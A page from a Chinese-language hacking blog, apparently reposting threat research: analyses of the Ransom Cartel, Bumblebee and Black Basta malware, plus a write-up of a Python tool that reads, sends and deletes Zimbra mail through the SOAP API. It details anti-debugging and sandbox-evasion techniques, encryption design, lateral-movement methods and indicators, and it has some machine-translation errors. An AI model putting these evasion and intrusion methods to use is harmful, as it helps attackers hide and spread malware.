Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863287828

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

Ransom Cartel是在2021年12月才被發現的勒索軟件即服務(RaaS)。此勒索軟件執行雙重勒索攻擊，並與REvil勒索軟件表現出一些相似之處和技術重疊。從時間維度來說，Ransom Cartel是在REvil勒索軟件消失後幾個月出現的。當Ransom Cartel首次出現時，尚不清楚是REvil的重現還是重用或模仿REvil代碼。

REvil消失的歷史2021年10月，REvil運營商突然中止，其暗網洩露網站也突然無法訪問。大約在2022年4月中旬，個別安全研究人員和網絡安全媒體報導了REvil的一項新進展，這可能意味著該組織的回歸。 REvil在dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion和aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion開始將用戶重定向到blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog。

同一天晚些時候，重定向被刪除。當時，還無法確定是哪個組織發起了重定向，因為這個新的重定向網站並沒有顯示任何名字或隸屬關係。

在重定向開始時，網站上沒有列出任何違規組織。隨著時間的推移，攻擊者開始添加出現在重定向網站上的記錄，大部分是在2021年4月下旬至10月期間。他們還包括以前REvil使用的文件共享鏈接作為攻擊的證據。

新的重定向網站列出了Tox Chat ID，用於與勒索軟件運營商進行通信。該網站暗示其運營商與REvil的聯繫，並聲稱該新組織提供了“相同但經過改進的軟件”。

unit42最初認為該網站與Ransom Cartel有關，攻擊者提到的“改進軟件” 是新的Ransom Cartel變體。然而，在進一步分析和看到更多證據後，研究人員認為這和Ransom Cartel毫無任何關係。

無論新的重定向網站是由Ransom Cartel還是由其他組織運營的，很明顯的是，儘管REvil可能已經消失，但其惡意影響力並未消失。新成立的組織似乎可以訪問REvil或與其建立聯繫。同時，我們對Ransom Cartel樣本的分析(在下面的部分中詳細介紹) 也提供了與REvil有關的有力證據。

Ransom Cartel概述研究人員大約在2022年1月中旬第一次觀察到Ransom Cartel。 MalwareHunterTeam的安全研究人員認為，該組織至少自2021年12月以來一直活躍。他們觀察到第一個已知的Ransom Cartel活動，並註意到與REvil勒索軟件的一些相似之處和技術重疊。

關於Ransom Cartel的起源有許多猜測。其中一種猜測是，Ransom Cartel可能是多個組織融合的結果。然而，MalwareHunterTeam的研究人員提出，其中一個被認為已經合併的組織否認與Ransom Cartel有任何联系。此外，unit42發現其中許多組織與REvil有聯繫外，沒有發現這些組織與Ransom Cartel有聯繫。

目前，研究人員認為Ransom Cartel運營商可以訪問REvil ransomware的早期版本的源代碼，但不能訪問一些最新的開發(有關更多詳細信息，請參閱Ransom Cartel和REvil代碼比較)。這表明，在某種程度上，這些組織之間存在著某種關係，儘管這種關係可能不是最近才出現的。

unit42還觀察到Ransom Cartel組織的攻擊目標，2022年1月左右在美國和法國觀察到第一個已知的受害者。 Ransom Cartel攻擊了以下行業的企業: 教育，製造業，公用事業和能源。 unit42事件響應者還協助客戶在幾起Ransom Cartel案件中做出反應。

像許多其他勒索軟件組織一樣，Ransom Cartel利用雙重勒索技術。 unit42觀察到該組織採取了更激進的態度，威脅不僅要將竊取的數據發佈到他們的洩露網站上，還會將數據發送給受害者的合作夥伴、競爭對手和新聞媒體，以造成名譽損害。

Ransom Cartel通常通過被破壞的憑證獲得對環境的初始訪問權，這是勒索軟件運營商初始訪問的最常見途徑之一。這包括外部遠程服務、遠程桌面協議(RDP) 、安全shell協議(SSH) 和虛擬專用網絡(vpn) 的訪問憑證。這些憑證在網絡黑市中被廣泛可用，並為攻擊者提供了一種可靠的手段來訪問受害者的公司網絡。

這些憑據也可以通過勒索軟件運營商本身的活動或通過從初始訪問代理購買來獲得。

初始訪問代理是提供出售受損網絡訪問的攻擊者。他們的動機不是自己進行網絡攻擊，而是向其他攻擊者出售訪問權限。由於勒索軟件的盈利能力，這些代理可能會根據他們願意支付的金額與RaaS組織建立合作關係。

unit42已經發現Ransom Cartel依靠這種類型的服務來獲得對勒索軟件部署的初始訪問權限的證據。 Unit 42還觀察到Ransom Cartel在攻擊企業網絡時對Windows和Linux VMWare ESXi服務器進行加密。

在Ransom Cartel攻擊中觀察到的戰術、技術和程序unit42使用一種名為DonPAPI的工具觀察到一名Ransom Cartel攻擊者，這種工具在過去的事件中從未被發現過。該工具可以定位和檢索Windows數據保護API (DPAPI)受保護的憑證，這被稱為DPAPI轉儲。

DonPAPI用於搜索設備上已知為DPAPI blob的某些文件，包括Wi-Fi密鑰、RDP密碼、保存在web瀏覽器中的憑證等。為了避免被反病毒(av)或終端檢測和響應(EDR)檢測到的風險，該工具下載文件並在本地解密。為了破壞Linux ESXi設備，Ransom Cartel使用DonPAPI獲取存儲在web瀏覽器中的憑據，用於對vCenter web界面進行認證。

研究人員還觀察到攻擊者使用了其他工具，包括恢復本地存儲的憑據的LaZagne和從主機內存竊取憑據的Mimikatz。

為了建立對Linux ESXi設備的持久訪問，攻擊者在對vCenter進行身份驗證後啟用SSH。攻擊者將創建新的帳戶，並將帳戶的用戶標識符(UID)設置為零。對於Unix/Linux用戶，UID=0表示root。這意味著任何安全檢查都被繞過了。

據觀察，該攻擊者正在下載並使用一種名為PDQ Inventory的合法工具的破解版本。 PDQ Inventory是一種合法的系統管理解決方案，IT管理員可以使用它掃描他們的網絡，收集硬件、軟件和Windows配置數據。 Ransom Cartel利用它作為遠程訪問工具，建立交互式命令和控制通道，並掃描受感染的網絡。

一旦VMware ESXi服務器被破壞，攻擊者將啟動加密器，它將自動枚舉正在運行的虛擬機(vm)，並使用esxcli命令關閉它們。通過終止虛擬機進程，可以確保勒索軟件能夠成功加密vmware相關文件。

在加密過程中，Ransom Cartel專門尋找具有以下文件擴展名的文件：log，vmdk，vmem，vswp和.vmsn。這些擴展與ESXi快照、日誌文件、交換文件、分頁文件和虛擬磁盤相關聯。加密後，觀察到以下文件擴展名：zmi5z，nwixz，ext，zje2m，5vm8t和.m4tzt。

勒索通知unit42觀察到Ransom Cartel發送的兩種不同版本的勒索通知。第一個勒索通知最早是在2022年1月周圍觀察到的，另一個勒索通知是在2022年8月首次出現的。第二個版本似乎被完全重寫了，如圖1所示。

1.png

Ransom Cartel勒索通知，左邊的是在2022年1月中首次觀察到的，右邊的是在2022年8月中首次觀察到的

有趣的是，Ransom Cartel使用的第一個勒索通知的結構與REvil發送的勒索通知具有相似之處，如下圖所示。除了使用類似的措辭外，兩個註釋都對UID採用了相同格式的16字節十六進製字符串。

2.png

左側顯示的Ransom Cartel勒索通知，而右邊顯示的是REvil發送的勒索通知

Ransom Cartel TOR網站Ransom Cartel與受害者溝通的網站可通過贖金說明中提供的TOR鏈接獲得。我們已經觀察到屬於Ransom Cartel的多個TOR url，這可能表明他們一直在改變基礎設施並積極開發其網站。訪問網站需要一個TOR私鑰。

輸入密鑰時，將加載以下頁面：

3.png

Ransom CartelTOR網站登陸頁面

通過授權按鈕進入TOR網站後，會出現一個屏幕，要求輸入贖金通知中包含的詳細信息。

4.png

Ransom Cartel網站，要求在贖金通知中提供的ID和密鑰

在TOR網站上完成授權後，將出現下圖所示的頁面。該網站包括美元和比特幣的贖金需求以及比特幣錢包地址等詳細信息。

5.png

Ransom CartelTOR網站

技術細節在此分析中使用了兩個Ransom Cartel樣本:

16.png

兩個樣本都包含三種輸出：

17.png

如果不指定導出而執行DLL，則示例還包含一個DllEntryPoint。 DllEntryPoint指向一個函數，該函數在對Curve25519 Donna算法的調用上迭代24次。迭代結束後，示例將查詢系統指標，特別是SM_CLEANBOOT值。如果這個值不是0，勒索軟件將繼續通過rundll32.exe生成自己的另一個實例，並指定Rathbuige導出。

8.png

SM_CLEANBOOT值

Rathbuige導出從創建以下互斥鎖開始:

9.png

創建互斥鎖後，示例開始解密並解析其嵌入式配置。該配置存儲為一個base64編碼的blob，其中base64編碼的blob的前16個字節是RC4密鑰，用於在解碼後解密blob的其餘部分。

10.png

Ransom Cartel加密配置

一旦解密，該配置將以JSON格式存儲，並包含諸如加密文件擴展名、攻擊者的公共Curve25519-donna密鑰、base64編碼的贖金通知以及加密前要終止的進程和服務列表等信息。

11.png

解密Ransom Cartel配置示例

配置中的對應值如下：

12.png

配置結構

13.png

有針對性的進程列表

14.png

有針對性的服務列表

15.png

避免擴展

解密配置後，將收集某些系統信息，包括用戶名，計算機名稱，域名，區域設置和產品名稱。然後將此信息格式化為以下JSON結構:

16.png

結構內每個項的作用

17.png

硬編碼JSON格式項和值

一旦收集到的數據被格式化為JSON結構，它將使用與Ransom Cartel生成session_secret blob相同的過程進行加密，稍後將討論這個過程。簡而言之，它涉及AES加密，對AES密鑰使用Curve25519共享密鑰的SHA3哈希。

一旦加密，它被寫入註冊表項SOFTWARE\\Google_Authenticator\\b52dKMhj，如果沒有正確的權限，示例首先嘗試寫入HKEY_LOCAL_MACHINE配置單元，然後寫入HKEY_CURRENT_USER。將數據寫入註冊表後，它將被base64編碼並嵌入到贖金通知中，取代{KEY}佔位符。

一旦配置被解析並存儲在註冊表中，就會解析提供給勒索軟件的命令行。總共有5個可能的參數，如下表所示。

18.png

接下來，讓我們繼續分析會話秘密生成過程。

Ransom Cartel首先檢查註冊表是否已經包含先前生成的值; 如果是這樣，它將把這些值讀入內存。否則，它將在運行時總共生成兩個會話秘密，每個秘密包含88個字節的數據。

首先，將使用此Curve25519存儲庫(session_public_1和session_private_1) 中的代碼生成公鑰和私鑰對。當生成第一個會話秘密時，會生成另一個會話密鑰對(session_public_2和session_private_2)，並且session_private_2與attacker_cfg_public (配置中嵌入的公鑰) 配對以生成共享密鑰。然後使用SHA3哈希算法對該共享密鑰進行哈希處理。生成的哈希用作具有隨機16字節初始化向量(IV) 的AES密鑰，用於加密由四個空字節組成的後跟session_private_1的數據blob。

19.png

會話秘密生成過程示意圖

現在，使用CRC-32哈希加密blob，然後附加有session_public_2、AES IV和計算的CRC-32哈希的值。結果值為session_secret_1。第二個生成的會話秘密遵循完全相同的過程。但是，它沒有使用attacker_cfg_public，而是利用二進製文件中的嵌入式公鑰(attacker_embedded_public_1) 來生成共享密鑰。

20.png

反編譯會話秘密生成過程

最後一個嵌入式公鑰(attacker_embedded_public_2) 用於加密格式化為上述JSON結構的數據。

早在2020年，Amossys的研究人員就記錄了這種生成會話秘密的方法，然而，他們的分析集中在Sodinokibi/REvil勒索軟件的更新版本上，表明REvil源代碼和最新的Ransom Cartel樣本之間有直接重疊。

一旦生成了會話秘密，它們就會與session_public_1和attacker_cfg_public一起寫入註冊表。

21.png

Ransom Cartel使用的註冊表路徑和值

此時，將收集並生成所有所需的信息，以便開始文件加密。

對於每個文件，生成唯一的文件公鑰和私鑰對(file_public_1和file_private_1)，再次使用Curve25519 Donna. file_private_1和session_public_1配對在一起以生成共享密鑰，該共享密鑰使用sha3進行哈希處理。生成的哈希用作Salsa20 (一種對稱加密算法) 的加密密鑰，並使用CryptGenRandom生成隨機的八字節隨機數。計算file_public_1的CRC-32哈希，然後使用生成的Salsa20矩陣對四個空字節進行加密。

然後保留上述數據的某些元素，並將其用作加密文件頁腳的一部分，每個文件頁腳的長度為232字節，由以下部分組成：

22.png

與session_secret生成類似，該結構與Amossys分析的REvil樣本的結構相同，進一步表明在開發Ransom Cartel樣本時，對REvil源代碼的更改很少。

23.png

文件加密設置過程

Ransom Cartel和REvil代碼比較Ransom Cartel的樣本分析顯示了與REvil勒索軟件的相似之處。

Ransom Cartel和REvil之間的第一個值得注意的相似之處是配置的結構。檢查2019年的REvil樣本(SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3)，可以看到相似性。然而，加密配置的存儲略有不同，選擇將配置存儲在二進製文件(.ycpc19)的單獨部分中，初始的32字節RC4密鑰後面是原始加密配置，而對於Ransom Cartel示例，配置作為base64編碼的blob存儲在.data部分中。

24.png

REvil配置存儲

一旦REvil配置被解密，它將使用相同的JSON格式，但包含額外的值，如pid、sub、fast、wipe和dmn。這些值表示REvil示例中的附加功能，這可能意味著要么是Ransom Cartel的開發人員刪除了某些功能，要么是他們在REvil的較早版本之上構建。

HireHackking

年初，Bumblebee加載程序的活動激增，由於其與幾個著名的惡意軟件家族有關，因此引起了安全研究人員的注意。

Bumblebee一直在快速迭代，其加載系統在幾天內經歷了兩次徹底的更新，首先是從使用ISO格式文件到包含powershell腳本的VHD格式文件，然後再恢復原貌。

Bumblebee服務程序在6月前後發生的行為變化表明，攻擊者可能已經將他們的重點從大規模監測惡意軟件轉向了攻擊盡可能多的受害者。

儘管該攻擊包含一個名為group_name的字段，但它可能不是一個與集群相關的活動的良好示例：具有不同group_name值的示例顯示了類似的行為，這可能表明同一個攻擊者同時運營多個group_name。加密密鑰的情況並非如此：不同的加密密鑰通常意味著不同的行為。

Bumblebee的有效負載因受害者類型而異。受感染的獨立計算機可能會受到銀行木馬或信息竊取者的攻擊，而組織網絡可能會受到更先進的後期利用工具（如CobaltStrike）的攻擊。

技術分析Bumblebee加載程序通常以類似於DLL的二進製文件的形式出現，並使用自定義打包程序打包。此DLL的傳播方法似乎會隨著攻擊者而異。目前最流行的方法是將打包的DLL直接嵌入另一個文件（通常是ISO）中，在6月份的一段短暫時間內，惡意軟件的操作人員嘗試使用VHD文件，執行PowerShell下載並解密打包的DLL本身（用一個非常不同的打包程序打包）。這種趨勢似乎已經消失，現在可以再次在第一階段文件中直接找到DLL，無論是ISO還是VHD。

一旦解壓，Bumblebee將執行檢查，以避免在沙箱或分析環境中執行，負責這項工作的大部分代碼都是開源的，直接從Al-Khaser項目中提取出來。如果避開安全監測，Bumblebee將繼續將其配置加載到內存中。這是通過從它的.data部分加載四個指向連續加密配置結構中的四個不同緩衝區的指針來實現的。第一個指向一個80字節的部分，它存儲一個RC4 ascii密鑰(在我們所觀察到的所有示例中都要短得多)。其他三個指針指向兩個80字節的部分和一個1024字節的部分，所有這些部分都包含隨後使用上述RC4密鑰解密的數據。

解密後，大多數示例中的第一個80字節緩衝區僅包含數字“444”，惡意軟件沒有使用這個數字，所以它的意義不清楚。第二個緩衝區包含一個被惡意軟件標記為group_name的ASCII碼。最後，1024字節塊包含一個命令和控制服務程序列表（其中大多數通常是假的）。

1.webp.jpg

Bumblebee加密配置

Bumblebee通過連接一些不可變機程序參數(在本例中為機程序名和GUUID)的常用方法計算特定於機程序的偽隨機受害者ID(內部命名為client_id)，然後計算結果的哈希值(在本例中為MD5摘要)。

利用這些數據和從受害系統收集到的其他特點，Bumblebee以JSON格式構建了CC簽入，如下所示：

2.png

該字符串使用之前配置時使用的相同的RC4密鑰加密，並以25秒到3分鐘的隨機延遲重複發送到其C2服務程序，而不管服務程序是響應還是關閉。來自命令和控制服務程序的響應也是JSON格式，也使用相同的RC4密鑰加密。響應本身的內容自然是不同的，例如，可以是一個空響應:

3.png

或者一些要注入或執行的負載：

4.png

在接收有效負載的示例中，響應的結構將包含json任務部分中的特點列表，每個特點都有一個命令和一個有效負載。每個特點都將包含一個任務字段，其中包含要執行的命令的名稱，以及一個名為task_data的部分中一個base64編碼的有效負載。

殭屍網絡行為分析直到7月初，我們一直觀察到命令和控制服務程序的一個非常奇怪的行為。一旦為受感染的受害者生成client_id並將其發送到命令和控制服務程序，該命令和控制服務程序將停止接受來自同一受害者外部IP的其他不同的client_id代碼。這意味著，如果一個組織中使用同一公共IP訪問internet的多台計算機受到感染，C2服務程序將只接受第一台受感染的計算機。但是幾個星期前，這個功能突然被關閉，大大增加了與受感染受害者建立的連接的數量（可能表明該惡意軟件的測試階段已經結束）。

這種行為促使研究人員特別關注Bumblebee在不同執行環境中的行為。值得注意的是，儘管在每個示例中都硬編碼了一個名為group_name的字段，但在每個請求中都會將該值發送到命令和控制服務程序。此外，上述“每個IP地址一個client_id”策略似乎適用於不同的group_name，但不適用於不同的RC4加密密鑰，這似乎意味著同一殭屍網絡使用多個group_name可能標記不同的活動或不同的受害者集。因此，與按group_name分組相比，按加密密鑰分組活動似乎是一種更前後一致的方法。

研究人員觀察到幾個具有相同RC4密鑰和不同group_name的示例在非常接近的時間範圍內行為相同並實現了相同的攻擊，而使用不同RC4密鑰的示例表現出完全不同的行為，這一事實進一步支持了這一假設。

5.webp.jpg

不同Bumblebee示例根據其RC4密鑰釋放了相同的有效負載

事實上，不同的示例使用相同的RC4密鑰接觸的不同IP地址的命令和控制服務程序會返回相同的有效負載，並為受害者阻止相同的client_id，這一事實也表明，這些IP地址實際上只是一個主命令和控制服務程序的前端，所有Bumblebee連接都中繼到該服務程序。

這些殭屍網絡行為的另一個有趣的特點是，Bumblebee釋放到受害者機程序中的工具集是如何根據目標的類型而有所不同。為了部署攻擊，在bumblebee支持的5個命令中，有3個命令導致從C2服務程序下載代碼並執行：

DEX：將可執行文件部署到磁盤並運行它。

DIJ：將庫注入進程並執行它。

SHI：向進程中註入並執行shellcode。

作為對各種Bumblebee殭屍網絡持續監控的一部分，研究人員一直在監控基於網絡類型或地理位置等因素的行為差異。雖然受害者的地理位置似乎對惡意軟件的行為沒有任何影響，但研究人員觀察到，Bumblebee在感染了屬於域(共享同一個Active Directory服務程序的邏輯網絡組)的機程序後，與連接到工作組(微軟術語，表示點對點局域網)的從公司網絡中隔離出來的機程序之間存在非常明顯的差異。

如果受害者連接到WORKGROUP，在大多數示例中，它會收到DEX命令(下載和執行)，這將導致它從磁盤上釋放並運行一個文件。這些有效負載通常是常見的盜竊程序，如Vidar Stealer，或銀行木馬：

6.webp.jpg

Bumblebee C2響應，其中包含一個Base64編碼的有效負載的DEX命令

另一方面，如果受害者連接到AD域，它通常會收到DIJ(下載和注入)或SHI(下載shellcode和注入)命令。

7.webp.jpg

帶有DIJ命令的Bumblebee C2響應，其中包含Base64編碼的有效負載

在這些示例中，產生的攻擊來自更先進的後開發框架，如cobalt tstrike、silver或Meterpreter。

在這些示例中，還可以觀察到，無論命令和控制服務程序的IP和group_name字段如何，使用相同RC4密鑰的示例都會使用相同的團隊服務程序釋放相同的Cobalt Strike信標，這已被證明是將不同示例作為同一殭屍網絡的一部分相互關聯的非常有用的方法。

由Bumblebee釋放的有效負載的最後一個有趣特性是，在許多示例中，使用DEX命令下載的二進製文件和使用DIJ命令下載的那些二進製文件都是使用同一個Bumblebee打包程序打包的。

總結通過分析Bumblebee操作人員使用的命令和控制服務程序的行為，研究人員觀察到他們如何調整其感染鏈的行為方式，有時這種方式會大大增加活動受害者的數量和C2流量

目前，即使在不同的Bumblebee殭屍網絡中，在部署第二階段有效負載之前的行為也非常相似，但從選擇第二階段的有效負載開始的進一步行為會根據所使用的RC4密鑰而變得不同。除了使用RC4密鑰本身之外，此行為還可以將活動分組到不同的集群中。

與其他使用第三方打包程序和現成的繞過防病毒工具的攻擊不同，Bumblebee對攻擊本身和部署在受害者電腦上的一些示例使用自己的打包程序，就像其他高級惡意軟件家族(如Trickbot)一樣。雖然這讓Bumblebee操作員在改變行為和添加功能方面有了更大的靈活性，但使用獨特的自定義工具也可以作為一種快速識別Bumblebee野外活動的方法。

HireHackking

0x00 前言在之前的文章《Zimbra SOAP API开发指南》 和《Zimbra-SOAP-API开发指南2》 介紹了Zimbra SOAP API的調用方法，開源代碼Zimbra_SOAP_API_Manage。 本文將要在此基礎上擴充功能，添加郵件操作的相關功能。

0x01 簡介本文將要介紹以下內容：

查看郵件

發送郵件

刪除郵件

0x02 查看郵件Zimbra SOAP API說明文檔：https://files.zimbra.com/docs/soap_api/9.0.0/api-reference/index.html

結合Zimbra SOAP API說明文檔和調試結果得出以下實現流程：

調用Search命令獲得郵件對應的Item id，通過Item id作為郵件的識別標誌。

獲得Item id後可以對郵件做進一步操作，如查看郵件細節、移動郵件、刪除郵件等。

1.獲得郵件對應的Item id需要使用Search命令。

說明文檔：https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/Search.html

需要用到以下參數：

(1)query

表示查看的位置，示例如下：

image.png

(2)limit

表示返回的查詢結果數量，示例如下：

image.png

如果不指定該屬性，默認為10

測試代碼：

image.png

返回內容示例：

image.png

對以上格式分析，發現標籤c***對應每個郵件的信息，提取數據如下：

image.png

格式分析如下：

image.png

時間格式轉換的示例代碼：

image.png

綜合以上內容，得出提取Item id、發件人、標題、正文內容和發送時間的實現代碼：

image.png

2.查看郵件內容測試發現，查看郵件細節可以不依賴Zimbra SOAP API，訪問固定url即可。

image.png

通過這種方式可以獲得完整的郵件內容，包括Base64編碼的附件內容。

實現代碼：

image.png

0x03 發送郵件在發送帶有附件的郵件時，需要先上傳附件，再發送。

1.上傳附件上傳功能通過FileUploadServlet實現，對應代碼位置：/opt/zimbra/lib/jars/zimbrastore.jar中/com.zimbra/cs/service/FileUploadServlet.class

上傳細節可參考：https://github.com/Zimbra/zm-mailbox/blob/develop/store/docs/file-upload.txt

上傳的url: https://

image.png

如果添加參數fmt=raw,extended，返回結果示例：

image.png

經過比較，發現添加參數fmt=raw,extended能夠額外獲得文件類型，示例:'ct':'image/jpeg'

所以在上傳時，使用url: https://url /service/upload?fmt=raw,extended

綜合以上內容，得出以下實現代碼：

image.png

2.發送帶有附件的郵件需要使用SendMsg命令。

說明文檔：https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/SendMsg.html

需要用到以下參數：

(1)e

表示發件人和收件人等相關信息，示例如下：

image.png

(2)su

表示郵件標題，示例如下：

image.png

(3)mp

表示正文內容，示例如下：

image.png

(4)noSave

如果設置為1，表示郵件發送後，不在發件箱保存副本，示例代碼：

image.png

(5)attach

指定發送附件的aid，示例代碼：

image.png

綜合以上內容，得出發送帶有附件郵件的實現代碼：

image.png

0x04 刪除郵件需要使用ConvAction命令。

說明文檔：https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/ConvAction.html

需要用到以下參數：

(1)tcon

image.png

通過瀏覽器刪除郵件的流程是先點擊刪除郵件，將郵件移動至垃圾箱，再從垃圾箱中點擊刪除郵件，完成郵件的徹底刪除。

通過Zimbra-SOAP-API可以簡化以上流程，直接刪除郵件。

實現代碼：

image.png

0x05 開源代碼新的代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

優化了代碼結構，增加了以下功能：

DeleteMail，刪除指定郵件

SearchMail，獲得郵箱信息，包括Item id、發件人、標題、正文內容和發送時間

SendTestMailToSelf，向當前郵箱發送一封帶有附件的郵件

uploadattachment，上傳附件

uploadattachmentraw，上傳附件的另一種實現，用於特定條件

viewmail，查看郵件完整細節

0x06 小結本文擴充了Zimbra SOAP API的調用方法，添加三個實用功能：查看郵件、發送郵件和刪除郵件，記錄實現細節。

HireHackking

微信截图_20221024152448.png

根據Check Point在2022年上半年的報告，每40個組織中就有1個受到勒索軟件攻擊的影響，這比去年增加了59%。勒索軟件之所以如此猖狂，原因就是獲利巨大。隨著雙重勒索的增加，勒索軟件攻擊變得更加吸引人：即使受害者拒絕支付，被盜的私人數據可能會在黑市上以相當大的價格出售。

自2022年5月以來，累計有89多起知名組織被Black Basta組織攻擊。數據顯示，該組織的攻擊目標明顯位於美國和德國，49%的受害者是美國用戶。在某些情況下，贖金甚至超過100萬美元。

1.png

接下來，我將介紹Black Basta活動的技術細節，以及各種規避和反分析技術。

技術細節在攻擊開始之前，幕後組織必須將勒索軟件傳播到受害者的設備。憑藉先進的傳播技術，滴管有不同的方式將其有效載荷下載到選定的受害者設備，不過也可能會出現不同滴管模塊的組合使用（比如QakBot和Cobalt Strike有效載荷的組合），最終導致勒索軟件的執行。

2.png

Black Basta向受害者的設備發送勒索軟件的可能方式

我們觀察到，滴管可以比技術上簡單的勒索軟件有效載荷複雜得多。我們將在下面介紹Black Basta勒索軟件的最終傳播階段。

傳播階段Black Basta滴管模仿了創建此網站上託管的USB可引導驅動器的應用程序：

3.png

Black Basta滴管的圖標和介紹

應用程序使用與Rufus網站上合法可執行文件相同的證書（由“Akeo Consulting”頒發）進行數字簽名：

4.png

Black Basta滴管和證書頒發者的數字簽名

有關如何使用經過驗證的數字簽名創建惡意應用程序的更多信息，請參閱Check Point研究團隊的文章。

規避和反分析技術在Black Basta滴管中實現了很多反調試技巧，下面按類別列出。

5.png

Black Basta滴管中的反調試和規避技術如果這些技術中的任何一種成功地檢測到調試器或仿真環境，則滴管將停止執行並退出，而不啟動Black Basta。

系統標誌這組反調試技術依賴於進程內結構來檢查狀態：是否正在調試。

PEB: is debugger present；

PEB: being debugged；

PEB: NtGlobalFlag；

CheckRemoteDebugger；

Check kernel debugger；

CPU寄存器下面分組的技術使用CPU寄存器檢查進程是否正在調試。

設置陷阱標誌；

檢查陷阱標誌，同上。標誌未設置，只是選中；

檢查HW斷點（鏈接中的方法1）；

CPU指令這些技術通過直接調用或包裝器使用CPU指令來檢查進程是否正在調試。

DebugBreak；

INT 2D；

INT3；

定時檢查這些技術執行定時檢查，以查看經過調試的進程與沒有調試器運行的進程之間的差異。

RDTSC；

QueryPerformanceCounter；

GetTickCount；

庫檢查這種技術依賴於這樣一個假設，即在通常的系統中有一些通用的系統庫可以毫無問題地加載，還有一些不常見的庫不應該真正出現在典型的系統中。然而，在沙盒環境中，當試圖加載一個不常見的庫時，在這種情況下可能返回預定義的代碼，而不是在非模擬設備中返回的代碼。返回代碼的差異可以用來檢測沙盒。

必須加載的庫kernel32.dll；

networkexplorer.dll；

NlsData0000.dll；

不能加載的庫NetProjW.dll；

Ghofr.dll；

fg122.dll；

Windows API檢查下面的一組技術使用Windows API函數來檢測進程是否正在調試。

VirtualAlloc與GetWriteWatch結合使用；

具有錯誤介紹符的CloseHandle；

OutputDebugString檢查最後的系統錯誤；

被污染的日誌這種技術並不是真正的反調試器，但會使日誌分析更加困難。重點是隨機調用kernel32.beep函數。你可以在這個沙盒分析中看到更多內容。

由於編碼錯誤導致檢查失敗

這些檢查應該使用仿真環境或已調試進程的細節，但由於編碼錯誤而無法正常工作。

FindWindow（類名：▬unAwtFrame）——名稱中的第一個符號是錯誤的，應該是SunAwtFrame；

NtQueryInformationProcess, check DebugPort——由於dll名稱錯誤而無法工作；

模糊轉儲成功躲避檢測後，Black Basta滴管又進行了模糊轉儲。 Black Basta有效載荷不是簡單地解壓縮並在內存中執行的，存在位於勒索軟件的PE標頭之前的數據是為了防止自動掃描器容易識別惡意有效載荷。

6.png

位於PE標頭之前的數據，以防止自動內存分析

正如預期的那樣，WinDbg中的imgscan命令無法顯示dropper進程內存中的Black Basta PE模塊。

7.png

WinDbg內存掃描中缺少Black Basta模塊

在完成所有這些步驟之後，實際的Black Basta有效載荷被執行。

Black Basta有效載荷在勒索軟件開始執行時創建互斥鎖，以確保只有一個惡意軟件副本處於活動狀態：

8.png

在Black Basta中創建互斥鎖

在我們介紹的示例中，互斥鎖的名稱是“dsajdhas.0”。

然後，惡意軟件設置壁紙，並為擴展名為“.basta”的文件指定一個自定義圖標。

9.png

Black Basta釋放的圖像

這些圖像來自Black Basta解壓縮它們的TEMP目錄。

該勒索軟件還試圖刪除任何卷影副本，如下圖所示：

10.webp.jpg

刪除卷影副本所執行的命令

加密創建多個線程來進行多線程加密過程：

11.webp.jpg

創建用於執行加密的線程

惡意軟件會加密驅動器上找到的所有文件，路徑中包含以下字符串的文件除外：

$Recycle.Bin

Windows

DocumentsandSettings

LocalSettings

ApplicationData

txt

Boot

txt

jpg

DAT

ico

ChaCha20流密碼（其比AES更快）用於加密，每個加密文件隨機生成密鑰。然後將該密鑰傳遞給帶有硬編碼公鑰的RSA加密，以檢索512字節的加密ChaCha20密鑰。此密鑰附加到加密文件的末尾：

12.webp.jpg

文件末尾的加密密鑰開始（左側）；原始文件（右側）

在塊的末尾，還有加密密鑰的長度（0x200）：

13.png

加密文件末尾的密鑰長度

請注意，並不是整個文件都被加密。惡意軟件針對每個64字節的第三個塊：

14.png

由Black Basta加密的塊（左側）；原始文件（右側）

要處理文件，通常使用kernel32函數CreateFile；

ReadFile；

WriteFile；

MoveFile (重命名加密文件)；

作為附帶說明，我們需要提到使用了RSA的mini GMP實現。

加密完成後，勒索軟件會在桌面上的“readme.txt”文件中釋放一條勒索說明。公司ID被硬編碼在勒索信中，這是有針對性和有準備的攻擊的標誌：

15.png

在示例中硬編碼的公司ID

在不知道RSA私鑰的情況下，沒有明顯的方法來解密文件。

自動分配Black Basta具有內置的網絡自動傳播功能，這是為了預防滴管的功能不足以完成任務。勒索軟件嘗試在LDAP API的幫助下連接到AD，並使用過濾器字符串（samAccountType=805306369）遍歷連接的工作站：

16.png

通過連接的工作站啟動搜索的函數

獲得工作站列表後，勒索軟件嘗試通過路徑\\c$\\Windows\\tmp.exe將自己複製到遠程計算機。然後，在COM對象objectIWbemClassObject (CLSID: 4590f812 - 1d3b - 11d0 - 891f - 00aa004b2e24)和IWbemServices-Win32_Process的幫助下，通過Create方法啟動前一階段複製的可執行文件。

總結勒索軟件攻擊是受害者可能面臨的最嚴重威脅之一。當代勒索軟件攻擊有大量成功勒索的記錄，並且可以在網絡內橫向移動，因此在使用雙重勒索方案時，可以獲得越來越多有保證的回報。

新出現的Black Basta就是一個非常成功的勒索軟件組織，它採取了各種預防措施，並執行了實際的數據加密，例如應用的反調試和逃避技術。

如上所述，勒索軟件本身的設計不僅能夠在最短的時間內造成最大的傷害，而且傳播階段也非常隱蔽、複雜和有效。 Black Basta會確保在安全的環境中運行，並且有機會執行加密。

為了降低遭受類似攻擊的可能性，組織應採取以下做法：

1.教育員工如何在網絡安全領域保持安全；

2.不要打開來自陌生髮件人的件；

3.更新並提高網絡基礎設施的安全性。

4.定期備份敏感數據並將其存儲在其他外部驅動器上。

